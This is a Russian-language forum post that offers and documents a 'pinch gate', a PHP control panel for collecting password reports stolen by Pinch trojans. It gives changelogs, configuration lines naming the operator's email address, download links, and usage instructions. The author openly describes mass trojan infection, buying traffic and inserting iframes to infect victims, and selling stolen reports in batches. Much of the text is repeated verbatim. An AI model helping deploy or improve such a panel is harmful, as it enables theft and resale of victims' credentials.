genom--
07.05.2007, 20:45
[pinch gate by genom-- v3.3]
заметил что кое-где остался старый редирект глючный -- заменил и добавил кнопку самоуничтожения -- пусть будет ))))
http://genom.h10.ru/gate3.3.txt
[pinch gate by genom-- v3.0]
вообщем сення загулял 3 пары и написал апдейт в гейту )))))
1--переделал систему редиректа - теперь я думаю ключить уже нинаодном хосте небудет
2--переделал систему аутентификации - вход на форму осуществляется попрежнему gate.php?stat=1 но форма отправляет инфу постом дабы не палиться в логах
3--теперь пароль запихивается в куки в виде md5 хэша
4--добавил кнопку удалить все отчеты
5--ужал часть таблицы в функциональной части дабы в браузере не мешало закладкам )))
6--добавил прикольную пежню теперь вам ненадо самим создавать папку для логов - достаточно прописать ее в конфиге и при первол заходе если она не существует то она автоматом создастся
7-- исправил одну багу в фигурными кавычками )))
8-- понял что надо весь код переписать заново ибо он кривой
9--запатчена бага с аутентификацией новой--переделал трохан ее
слить -- http://genom.h10.ru/gate3.txt
[pinch gate by genom-- v2.0]
Ну вот вообщем руки доросли дописать кое чего в гейт - радует что уже ненадо вам бъяснять что это такое и зачем он нафиг нужен.
Итак пойдем по порядку:
1-исправил фичу когда при открытии гейта в браузере с умершей кукой - создавался пустой отчет. Сейчас отчет не создается и выводится мессадж "Страница находится в стадии разработки...".
2-добавил фильтр пустых отчетов -- т.е. они небудут сохраняться.
3-изменил интерфейс - надеюсь этот будет более удобным. -- извините дизайн прежний ибо я страсный любитель кислоты.
4-добавил отдельные кнопки скачать все отчеты и отправить все отчеты.
5-добавил отправку на мыло отчетов по определенной дате.
6-добавил еще один день в статистику прихода(ыыыыыыыыыы =) ) отчетов.
7- исправил механизм пересчета даты в статистике -- раньше в начале месяца криво пересчитвало дату вчерашнего дня исходя из сегодняшней. Теперь даже если вы будете открывать гейт первого марта в высокосный год то увидите норманую дату и требуемое количество отчетов за это число =).
Ну вот вроде бы и все что добавил хотя хз может ченить забыл гыгы.
Скачать можете тут:
http://slil.ru/24638809
http://webfile.ru/1471056
http://www.rapidshare.ru/345841
или на моей паге
http://genom.h10.ru/gate.rar
Руководство по версии 1.0
итак друзья мои --- недавно по случайному стечению обстоятельств мне пришлось заняться массовым протрояниванием (тссс.. только это секрет)
И как результат сначала я использовал троя с отправкой на мыло -- но согласитесь тупо получать на ящик сотни отчетов и потом их разгребать -- переименовывать -- сейвить etc..
Далее мною был опробован гейт -- он конечно более удобен и практичен но согласитесь некоторые проблемы -- как повторы -- пустые отчеты и тд. он решить немог да и заходить каждый день на ftp чтобы скачать отчеты напрягает.
Как следствие всего вышеизложенного в моем укуренном сохнание родилась мысль что надо этот процесс как-то упростить и автоматизировать. (в сознании промелькнула мысль:'лень двигатель прогресса' =) )
В итоге у меня получился по моему мнению довольно неплохой гейт с подробной статистикой удобным веб интерфейсом и функциональной автоматизацией =).
Итак начнем с самого главного с начала:
Дляработы гейта нам понадобится любой хост работающий на никсах с php.
Никсовый сервер нам нужен из-за того что архивация происходит с помошью команты tar выполняемой через system();
Если у вас сервак под виндой то либо убейте себя =) либо замените команды в теле скрипта.
Все это дело тестировалось мной на genom.h10.ru и работало на ура без каких либо отклонений =)
Итак сначала по отношению к внешнему виду -- дизайнер из меня хреновый так что сделал как смог.
Описание функционала:
Подготовка гейта к работе заключается в открывании его в любом текстовом редакторе и прописывании конфига:
$pass='genom'; # ваш пароль
$dirname = "logs"; # имя папки с логами
$autosend=100; # какими пачками будут отправляться вам на мыло отчеты -- если ноль то небудут
$mail='genom87@tut.by'; # мыло на которое гейт будет слать пароли
$autoclean=1; # автоочистка отчетов пришедших с одного ip 0-выкл 1-вкл
Итак сейвим код и заливаем на хост.
В результате имеем ссылку на него типа http://host.gov/gate.php
Если вы просто откроете в браузере http://host.gov/gate.php то нифига не увидите =) т.к. гейт расценит это как подключение трояна и засейвит отчет в виде [текущее время]_[текущая дата]_[ip с которого произошел коннект].bin
Например: 18-26-44_4-5-2007_127.0.0.1.bin
В такомже формате будут сейвиться пришедшие отчеты.
Правда он будет иметь нулевую длинну т.к вы ничего не передавали гейту.
Для того что-бы попасть в функциональную часть гейта нам нужно открыть http://host.gov/gate.php?stat=1
Вы увидите форму для ввода пароля -- пишите и создается get запрос http://host.gov/gate.php?pass=[пароль]
Следовательно если вам впадлу вводить пароль каждый раз то можете сразу переходить по линку http://host.gov/gate.php?pass=[пароль]
Тут поясним-- при вводе правильного пароля скрипт вешает вам кукис содержащий значение pass:[пароль] и редиректит вас обратно на http://host.gov/gate.php а скрипт уже видя что у вас висит нужный нам кукис и пароль совпадает впускает вас.
Так выглядит наш гейт:
http://genom.h10.ru/scr1.jpg
http://genom.h10.ru/scr2.jpg
На скринах есть некоторые пояснения- но я объясню все подробно:
Итак сначала идет конфиг в нем отображается папка в которую будут сохраняться отчеты--- количество найденных отчетов в папке -- состояние автоочистки (о ней позже) -- автоотсылка .. тут указывается количество отчетов при достижениия которого гейт выполнит автоматическую отправку на мыло в виде архива -- далее указано мыло на которе автоматически будут идти отчеты ----- и вв конце суммарный размер папки с отчетами .
Гейт признает за отчет любой файл а расширением .bin и если вы закинете впапку с отчетами какойнить лажи то она не войдет в размер папки и не будет отображаться в таблице отчетов.
Далее небольшая табличка в которой отображаются количество отчетов имеющих сегодняшнюю и вчерашнюю дату -- это удобно когда вам приходит много отчетов и вы можете реально оценить прирост отчетов например после вчерашней покупки трафика или вставки ифрейма.
Потом идет табличка для отправки отчетов на мыло в ручном режиме -- указываете количество -- указываете мыло -- можете выбрать удалить при этом отчеты или нет------- шлеп на кнопку и все отчеты у вас.
Или можно ненапрягаться людям продающим отчеты -- допустим купил человек 300 отчетов.. берете у него мыло -- шлеп на кнопку и все довольны =)
Ниже идет таблица отправки отчетов по размеру -- похоже на количество но отсылает указанный размер-- скрипт перебирает отчеты пока из суммарный размер не превысит указанный потом пакует и отправляет (этого на скрине нету ибо дописал недавно)
Снизу находится таблица для получения линка для скачивания отчетов -- указываете количество и жмете кнопку - архивируется файл down.tar.gz и после автоматического обновления странички эта таблица модифицируется и вы увидите ссылку для скачивания -- после скачки можете его удалить=)
Далее вы видите форму очистки отчетов -- сильно расписывать небуду -- все понятно можно удалить те или иные отчеты исходя из критериев даты-- ip -- размера -- или просто определенное количество.
Бинго наконецто мы дошли до самого главного...
Тут вы видите основную таблицу гейта в ней в нумерованном порядке можно увидеть все отчеты время прихода =) дату и ip ---------- в пятой колонке содержатся имена всех отчетов и линки на них -- можете кликнуть и скачать понравившийся вам отчет-------- следующая колонка показывает размер отчета причем они сортируются по цвету -- зеленые это отчеты меньше 8 кб -- -фиолетовые от 8 до 15 кб ---- остальные красные =) ======== в следующих двух колонках есть небольшой функционал можно удалить текущий отчет или отправить его на мыло указанное в конфиге.
~~~~~~~~~~~~~~~~~~~~
Итак с основным окном разобрались.
Теперь о автоочистке -- она находится в самом низу коа скрипта
гейт при получении отчета сохраняет его всегда -- далее он проверяет существует ли отчет с таким же ip как и у только что созданного-- если существует то происходит процедура проверки
Выбор какой отчет оставит гейт а какой удалит происходит по след схеме-- сначала он проверяет размер -- ели они различные то остается наибольший по размеру отчет - второй удаляется
Если размеры отчетов одинаковы от гейт оставляет более свежий отчет. т.е тот который только что пришел а старый удаляется.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~
Итак вроде бы описал весь функционал. Конечно код не идеален и можно было сделать покрасивее его. Но уж как смог php не моя стихия =).
Итак скачать гейт можете отсюда:
http://genom.h10.ru/gate.txt
Скриншоты:
http://genom.h10.ru/scr1.jpg
http://genom.h10.ru/scr2.jpg
Кста посмотреть это безобразие можете на genom.h10.ru/gate.php?stat=1 -- только сайт не затрите =)
заметил что кое-где остался старый редирект глючный -- заменил и добавил кнопку самоуничтожения -- пусть будет ))))
http://genom.h10.ru/gate3.3.txt
[pinch gate by genom-- v3.0]
вообщем сення загулял 3 пары и написал апдейт в гейту )))))
1--переделал систему редиректа - теперь я думаю ключить уже нинаодном хосте небудет
2--переделал систему аутентификации - вход на форму осуществляется попрежнему gate.php?stat=1 но форма отправляет инфу постом дабы не палиться в логах
3--теперь пароль запихивается в куки в виде md5 хэша
4--добавил кнопку удалить все отчеты
5--ужал часть таблицы в функциональной части дабы в браузере не мешало закладкам )))
6--добавил прикольную пежню теперь вам ненадо самим создавать папку для логов - достаточно прописать ее в конфиге и при первол заходе если она не существует то она автоматом создастся
7-- исправил одну багу в фигурными кавычками )))
8-- понял что надо весь код переписать заново ибо он кривой
9--запатчена бага с аутентификацией новой--переделал трохан ее
слить -- http://genom.h10.ru/gate3.txt
[pinch gate by genom-- v2.0]
Ну вот вообщем руки доросли дописать кое чего в гейт - радует что уже ненадо вам бъяснять что это такое и зачем он нафиг нужен.
Итак пойдем по порядку:
1-исправил фичу когда при открытии гейта в браузере с умершей кукой - создавался пустой отчет. Сейчас отчет не создается и выводится мессадж "Страница находится в стадии разработки...".
2-добавил фильтр пустых отчетов -- т.е. они небудут сохраняться.
3-изменил интерфейс - надеюсь этот будет более удобным. -- извините дизайн прежний ибо я страсный любитель кислоты.
4-добавил отдельные кнопки скачать все отчеты и отправить все отчеты.
5-добавил отправку на мыло отчетов по определенной дате.
6-добавил еще один день в статистику прихода(ыыыыыыыыыы =) ) отчетов.
7- исправил механизм пересчета даты в статистике -- раньше в начале месяца криво пересчитвало дату вчерашнего дня исходя из сегодняшней. Теперь даже если вы будете открывать гейт первого марта в высокосный год то увидите норманую дату и требуемое количество отчетов за это число =).
Ну вот вроде бы и все что добавил хотя хз может ченить забыл гыгы.
Скачать можете тут:
http://slil.ru/24638809
http://webfile.ru/1471056
http://www.rapidshare.ru/345841
или на моей паге
http://genom.h10.ru/gate.rar
Руководство по версии 1.0
итак друзья мои --- недавно по случайному стечению обстоятельств мне пришлось заняться массовым протрояниванием (тссс.. только это секрет)
И как результат сначала я использовал троя с отправкой на мыло -- но согласитесь тупо получать на ящик сотни отчетов и потом их разгребать -- переименовывать -- сейвить etc..
Далее мною был опробован гейт -- он конечно более удобен и практичен но согласитесь некоторые проблемы -- как повторы -- пустые отчеты и тд. он решить немог да и заходить каждый день на ftp чтобы скачать отчеты напрягает.
Как следствие всего вышеизложенного в моем укуренном сохнание родилась мысль что надо этот процесс как-то упростить и автоматизировать. (в сознании промелькнула мысль:'лень двигатель прогресса' =) )
В итоге у меня получился по моему мнению довольно неплохой гейт с подробной статистикой удобным веб интерфейсом и функциональной автоматизацией =).
Итак начнем с самого главного с начала:
Дляработы гейта нам понадобится любой хост работающий на никсах с php.
Никсовый сервер нам нужен из-за того что архивация происходит с помошью команты tar выполняемой через system();
Если у вас сервак под виндой то либо убейте себя =) либо замените команды в теле скрипта.
Все это дело тестировалось мной на genom.h10.ru и работало на ура без каких либо отклонений =)
Итак сначала по отношению к внешнему виду -- дизайнер из меня хреновый так что сделал как смог.
Описание функционала:
Подготовка гейта к работе заключается в открывании его в любом текстовом редакторе и прописывании конфига:
$pass='genom'; # ваш пароль
$dirname = "logs"; # имя папки с логами
$autosend=100; # какими пачками будут отправляться вам на мыло отчеты -- если ноль то небудут
$mail='genom87@tut.by'; # мыло на которое гейт будет слать пароли
$autoclean=1; # автоочистка отчетов пришедших с одного ip 0-выкл 1-вкл
Итак сейвим код и заливаем на хост.
В результате имеем ссылку на него типа http://host.gov/gate.php
Если вы просто откроете в браузере http://host.gov/gate.php то нифига не увидите =) т.к. гейт расценит это как подключение трояна и засейвит отчет в виде [текущее время]_[текущая дата]_[ip с которого произошел коннект].bin
Например: 18-26-44_4-5-2007_127.0.0.1.bin
В такомже формате будут сейвиться пришедшие отчеты.
Правда он будет иметь нулевую длинну т.к вы ничего не передавали гейту.
Для того что-бы попасть в функциональную часть гейта нам нужно открыть http://host.gov/gate.php?stat=1
Вы увидите форму для ввода пароля -- пишите и создается get запрос http://host.gov/gate.php?pass=[пароль]
Следовательно если вам впадлу вводить пароль каждый раз то можете сразу переходить по линку http://host.gov/gate.php?pass=[пароль]
Тут поясним-- при вводе правильного пароля скрипт вешает вам кукис содержащий значение pass:[пароль] и редиректит вас обратно на http://host.gov/gate.php а скрипт уже видя что у вас висит нужный нам кукис и пароль совпадает впускает вас.
Так выглядит наш гейт:
http://genom.h10.ru/scr1.jpg
http://genom.h10.ru/scr2.jpg
На скринах есть некоторые пояснения- но я объясню все подробно:
Итак сначала идет конфиг в нем отображается папка в которую будут сохраняться отчеты--- количество найденных отчетов в папке -- состояние автоочистки (о ней позже) -- автоотсылка .. тут указывается количество отчетов при достижениия которого гейт выполнит автоматическую отправку на мыло в виде архива -- далее указано мыло на которе автоматически будут идти отчеты ----- и вв конце суммарный размер папки с отчетами .
Гейт признает за отчет любой файл а расширением .bin и если вы закинете впапку с отчетами какойнить лажи то она не войдет в размер папки и не будет отображаться в таблице отчетов.
Далее небольшая табличка в которой отображаются количество отчетов имеющих сегодняшнюю и вчерашнюю дату -- это удобно когда вам приходит много отчетов и вы можете реально оценить прирост отчетов например после вчерашней покупки трафика или вставки ифрейма.
Потом идет табличка для отправки отчетов на мыло в ручном режиме -- указываете количество -- указываете мыло -- можете выбрать удалить при этом отчеты или нет------- шлеп на кнопку и все отчеты у вас.
Или можно ненапрягаться людям продающим отчеты -- допустим купил человек 300 отчетов.. берете у него мыло -- шлеп на кнопку и все довольны =)
Ниже идет таблица отправки отчетов по размеру -- похоже на количество но отсылает указанный размер-- скрипт перебирает отчеты пока из суммарный размер не превысит указанный потом пакует и отправляет (этого на скрине нету ибо дописал недавно)
Снизу находится таблица для получения линка для скачивания отчетов -- указываете количество и жмете кнопку - архивируется файл down.tar.gz и после автоматического обновления странички эта таблица модифицируется и вы увидите ссылку для скачивания -- после скачки можете его удалить=)
Далее вы видите форму очистки отчетов -- сильно расписывать небуду -- все понятно можно удалить те или иные отчеты исходя из критериев даты-- ip -- размера -- или просто определенное количество.
Бинго наконецто мы дошли до самого главного...
Тут вы видите основную таблицу гейта в ней в нумерованном порядке можно увидеть все отчеты время прихода =) дату и ip ---------- в пятой колонке содержатся имена всех отчетов и линки на них -- можете кликнуть и скачать понравившийся вам отчет-------- следующая колонка показывает размер отчета причем они сортируются по цвету -- зеленые это отчеты меньше 8 кб -- -фиолетовые от 8 до 15 кб ---- остальные красные =) ======== в следующих двух колонках есть небольшой функционал можно удалить текущий отчет или отправить его на мыло указанное в конфиге.
~~~~~~~~~~~~~~~~~~~~
Итак с основным окном разобрались.
Теперь о автоочистке -- она находится в самом низу коа скрипта
гейт при получении отчета сохраняет его всегда -- далее он проверяет существует ли отчет с таким же ip как и у только что созданного-- если существует то происходит процедура проверки
Выбор какой отчет оставит гейт а какой удалит происходит по след схеме-- сначала он проверяет размер -- ели они различные то остается наибольший по размеру отчет - второй удаляется
Если размеры отчетов одинаковы от гейт оставляет более свежий отчет. т.е тот который только что пришел а старый удаляется.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~
Итак вроде бы описал весь функционал. Конечно код не идеален и можно было сделать покрасивее его. Но уж как смог php не моя стихия =).
Итак скачать гейт можете отсюда:
http://genom.h10.ru/gate.txt
Скриншоты:
http://genom.h10.ru/scr1.jpg
http://genom.h10.ru/scr2.jpg
Кста посмотреть это безобразие можете на genom.h10.ru/gate.php?stat=1 -- только сайт не затрите =)